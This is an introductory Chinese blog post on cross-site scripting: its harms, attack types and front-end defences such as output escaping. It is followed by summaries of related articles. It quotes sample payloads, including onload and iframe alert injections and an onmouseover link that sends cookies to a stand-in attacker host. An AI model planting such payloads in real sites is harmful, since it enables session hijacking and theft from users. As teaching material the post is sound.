前端xss攻击

标签: xss | 发表时间:2015-09-27 13:41 | 作者:xuehen
出处:http://segmentfault.com/blogs

实习的时候在项目中有接触过关于xss攻击的内容,并且使用了项目组中推荐的一些常用的防xss攻击的方法对项目进行了防攻击的完善。但一直没有时间深入了解这东西,在此,做一个简单的梳理。

xss是什么

xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入的恶意html代码会被执行,从而达到恶意用户的特殊目的。
XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常忽略其危害性。但是随着前端技术的不断进步,这方面的问题越来越受关注。举个简单例子 : 假如你现在是sns站点上一个用户,发布信息的功能存在漏洞可以执行js 你在 此刻输入一个 恶意脚本,alert(),那么当前所有看到你新信息的人的浏览器都会执行这个脚本弹出提示框。当然,这只是小儿科了,如果搞个更为激烈的,后果将很严重。
这个攻击过程看到有人总结了一个比较直观的图,供理解。
图片描述

xss攻击的危害

XSS攻击的危害包括:

  • 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号

  • 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

  • 盗窃企业重要的具有商业价值的资料

  • 非法转账

  • 强制发送电子邮件

  • 网站挂马

  • 控制受害者机器向其它网站发起攻击
    举例:

  <body background=”javascript:alert(‘xss webjiaocheng!’)”>

<iframe src=javascript:alert(‘xss webjiaocheng!’)”>

<body onload=”a();”><script>function a(){alert(‘xss webjiaocheng!’)”></script></body>

哪些xss攻击

  • 从其它站点到应用站点的攻击:故名思义,这种攻击是由外部发起的,来自email或其它站点。这种攻击在用户点击链接,下载图片或者提交表单的时候,对应用网站进行了意想之外的操作。
    通常用户登录后会得到一个可用session,xss攻击者可以利用这个session,越过用户验证,进行一些不安全的操作,如下:

  <a href = “http:// www.2cto.com /addComment.php?subject = I am owned” >
    Check it out!
</a>

通过这个链接,只要用户登录了,就会发送一个subject,即使在其它网站上。
正因如此,一般的邮箱客户端不会自动从不信任的网站上加载图片(因为考虑到可以通过img的src属性向第三方站点发送GET请求);另外,可以设置session的过期时间,让session自动失效。

  • 从应用站点到同站或其它站点的攻击:这种攻击,通常是攻击者在应用站点上通过发表评论,或者其它方式嵌入代码,当用户加载页面或者点击链接就会产生一些意想之外的操作。
    如下:

  <a href=”#” onmouseover = “window.location 
='http://reallybadguys.net/collectCookie.php?cookie =' + 
documentcookie.escape();” >
Check it out!</a>

当用户滑过链接,就会将cookie信息发到攻击者的服务器上。

看到有的资料上面是按照另外一种方式进行归纳的:

  • 本地利用漏洞,这种漏洞存在于页面中客户端脚本自身。
    其攻击过程如下:
    A给B发送一个恶意构造了Web的URL。B点击并查看了这个URL。
    恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在Bob电脑上。具有漏洞的HTML页面包含了在B电脑本地域执行的JavaScript。
    A的恶意脚本可以在Bob的电脑上执行B所持有的权限下的命令。

  • 反射式漏洞
    这种漏洞和类型A有些类似,不同的是Web客户端使用Server端脚本生成页面为用户提供数据时,如果未经验证的用户数据被包含

在页面中而未经HTML实体编码,客户端代码便能够注入到动态页面中。

预防

作为前端开发人员,我们需要尽量让自己的代码足够强大和足够完善,并且随着开发经验的增长,相信对于自己熟悉的技术领域的防xss攻击,也会有更多和更深入的理解,下面仅列举几个方面,以后可以对这部分内容不断进行扩充。

  • 对于名字,描述之类的数据,需要格外注意其数据来源,在自测过程中,多输入xss异常数据。如:

  ></script><iframe/onload=alert(2)> 

之类的xss脚本。方便发现潜在的漏洞。

  • 在js中使用innerHTML方法修改dom的时候,要对数据进行转义。

  • 在使用一些模板语言的时候,以freemarker为例,入口文件可用

  <#escape x as x?html> ... </#escape>

指令包裹,这样可以保证该指令之间的模版数据在输出数据时默认转义。某些特定情况下,不方便使用<#escape>指令的时候,可以在输出的地方进行转义,如:${name?html},html方法既为ftl的转义指令。

相关 [前端 xss 攻击] 推荐:

前端xss攻击

- - SegmentFault 最新的文章
实习的时候在项目中有接触过关于xss攻击的内容,并且使用了项目组中推荐的一些常用的防xss攻击的方法对项目进行了防攻击的完善. 但一直没有时间深入了解这东西,在此,做一个简单的梳理. xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入的恶意html代码会被执行,从而达到恶意用户的特殊目的.

XSS攻击及防御

- - BlogJava-qileilove
XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性. 其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的.

XSS攻击技术详解

- - BlogJava-qileilove
  XSS攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆. web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中. 比如这些代码包括HTML代码和客户端脚本. 攻击者利用XSS漏洞旁路掉访问控制--例如同源策略(same origin policy).

XSS攻击及防御

- - 互联网 - ITeye博客
       本文来自: 高爽|Coder,原文地址: http://blog.csdn.net/ghsau/article/details/17027893,转载请注明.         XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性.

新浪微博的XSS攻击

- 铭文 - 酷壳 - CoolShell.cn
今天晚上(2011年6月28日),新浪微博出现了一次比较大的XSS攻击事件. 大量用户自动发送诸如:“郭美美事件的一些未注意到的细节”,“建党大业中穿帮的地方”,“让女人心动的100句诗歌”,“3D肉团团高清普通话版种子”,“这是传说中的神仙眷侣啊”,“惊爆!范冰冰艳照真流出了”等等微博和私信,并自动关注一位名为hellosamy的用户.

【原创】腾讯微博的XSS攻击漏洞

- sec314 - 博客园-首页原创精华区
相信大家都知道新浪微博在6月28日发生的XSS攻击事件了吧. 在那晚里,大量新浪微博用户自动发送微博信息和自动关注一名叫“hellosamy“的用户. 究竟XSS攻击为什么能有这么大的威力. 现在很多网站都采用了Cookie记录访问者的登录状态,在进行某些功能操作时(比如:发微博),服务器判断用户的Cookie记录的登录状态,如果用户是登录状态的则允许操作.

使用Http-only Cookie来防止XSS攻击

- - 标点符
www服务依赖于Http协议实现,Http是无状态的协议,所以为了在各个会话之间传递信息,就不可避免地用到Cookie来标记访问者的状态. 只要获得这个Cookie,就可以取得别人的身份,入侵个人账户或者网站. 对于网站来说,一旦存在了xss漏洞就意味着入侵者可以在浏览器中执行任意的JS脚本,这时候获得Cookie就变得非常的简单.

基于Antisamy项目实现防XSS攻击

- - CSDN博客互联网推荐文章
    最近项目上线,请第三方公司进行了一次渗透性测试,被发现存在多处XSS攻击. 由于我们对于URL的Get请求已经通过URLFilter进行了特殊字符过滤,Get请求的漏洞已经被封堵,但是对于Post请求考虑到我们项目存在表单提交,富文本编辑等功能,不敢贸然的使用Filter对关键字进行过滤. 为了解决上述问题,我们采用了OWASP的一个开源的项目AntiSamy来彻底解决XSS攻击问题.

java 防止 XSS 攻击的常用方法总结.

- - 行业应用 - ITeye博客
自己写 filter 拦截来实现,但要注意的时,在WEB.XML 中配置 filter 的时候,请将这个 filter 放在第一位. 采用开源的实现 ESAPI library ,参考网址: https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API.

网站攻防之CSRF和XSS跨站脚本攻击

- - CSDN博客推荐文章
进入正题之前,先扯一番:黑客本义并非某些人以为的利用网络干坏事的人,刚开始或者说现在的很多,黑客是以技术大牛的形式存在的,也就是在网络领域有一门专场的牛人. 有些黑客不干坏事而是干好事,比如利用网站的漏洞,去告诉网站开发运营者你的网站有漏洞,要修补啦,他们却并不会利用这漏洞干坏事,而是以发现漏洞追求技术快感为享受.